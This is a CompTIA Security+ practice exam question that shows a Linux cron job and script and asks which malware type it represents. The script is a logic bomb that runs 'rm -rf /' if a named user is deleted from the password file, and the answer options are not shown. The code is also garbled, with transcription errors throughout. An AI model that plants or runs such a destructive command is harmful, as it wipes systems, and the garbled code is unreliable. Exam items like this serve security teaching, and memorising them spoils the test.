Question 84 of 730 from exam SY0-601: CompTIA Security+

Question 84 of 730 from exam SY0-601: CompTIA Security+

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Question

An information security specialist is reviewing the following output from a Linux server.

user@server:~$ crontab -1

5**** /ust/local/bin/backup.sh
user@server: ~$ cat /ust/local/bin/backup.sh
#1/bin/bash

if! grep - - quiet joeuser/ete/passwd

then rm—rf/

fi

Based on the above information, which of the following types of malware was installed on the server?

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